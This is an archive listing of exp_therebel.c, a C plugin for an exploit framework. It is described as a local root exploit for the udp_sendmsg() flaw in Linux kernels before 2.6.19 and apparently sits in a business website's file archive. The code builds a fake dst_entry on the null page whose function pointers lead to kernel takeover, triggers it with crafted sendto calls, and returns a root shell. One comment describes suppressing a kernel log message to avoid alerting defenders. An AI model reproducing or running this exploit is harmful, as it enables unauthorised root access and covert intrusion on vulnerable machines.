home *** CD-ROM | disk | FTP | other *** search
/ comtecelectrical.ca / www.comtecelectrical.ca.tar / www.comtecelectrical.ca / enlightenment / exp_therebel.c < prev    next >
C/C++ Source or Header  |  2009-09-20  |  2KB  |  84 lines

  1. /* the rebel */
  2. #include <stdio.h>
  3. #include <sys/socket.h>
  4. #include <sys/types.h>
  5. #include "exp_framework.h"
  6.  
  7. struct dst_entry {
  8.     void *next;
  9.     int refcnt;
  10.     int use;
  11.     void *child;
  12.     void *dev;
  13.     short error;
  14.     short obsolete;
  15.     int flags;
  16.     unsigned long lastuse;
  17.     unsigned long expires;
  18.     unsigned short header_len;
  19.     unsigned short trailer_len;
  20.     unsigned int metrics[13];
  21.     /* need to have this here and empty to avoid problems with 
  22.        dst.path being used by dst_mtu */
  23.     void *path;
  24.     unsigned long rate_last;
  25.     unsigned long rate_tokens;
  26.     /* things change from version to version past here, so let's do this: */
  27.     void *own_the_kernel[8];
  28. };
  29.  
  30. struct exploit_state *exp_state;
  31.  
  32. char *desc = "The Rebel: Linux < 2.6.19 udp_sendmsg() local root";
  33.  
  34. int get_exploit_state_ptr(struct exploit_state *ptr)
  35. {
  36.     exp_state = ptr;
  37.     return 0;
  38. }
  39.  
  40. int requires_null_page = 1;
  41.  
  42. int prepare(unsigned char *ptr)
  43. {
  44.     struct dst_entry *mem = (struct dst_entry *)ptr;
  45.     int i;
  46.  
  47.     /* for stealthiness based on reversing, makes sure that frag_off
  48.        is set in skb so that a printk isn't issued alerting to the 
  49.        exploit in the ip_select_ident path
  50.     */
  51.     mem->metrics[1] = 0xfff0;
  52.     /* the actual "output" function pointer called by dst_output */
  53.     for (i = 0; i < 10; i++)
  54.         mem->own_the_kernel[i] = exp_state->own_the_kernel;
  55.  
  56.     return 0;
  57. }
  58.  
  59. int trigger(void)
  60. {
  61.     struct sockaddr sock = {
  62.         .sa_family = AF_UNSPEC,
  63.         .sa_data = "CamusIsAwesome",
  64.     };
  65.     char buf[1024] = {0};
  66.     int fd;
  67.  
  68.     fd = socket(PF_INET, SOCK_DGRAM, 0);
  69.     if (fd < 0) {
  70.         fprintf(stdout, "failed to create socket\n");
  71.         return 0;
  72.     }
  73.         
  74.     sendto(fd, buf, 1024, MSG_PROXY | MSG_MORE, &sock, sizeof(sock));
  75.     sendto(fd, buf, 1024, 0, &sock, sizeof(sock));
  76.  
  77.     return 1;
  78. }
  79.  
  80. int post(void)
  81. {
  82.     return RUN_ROOTSHELL;
  83. }
  84.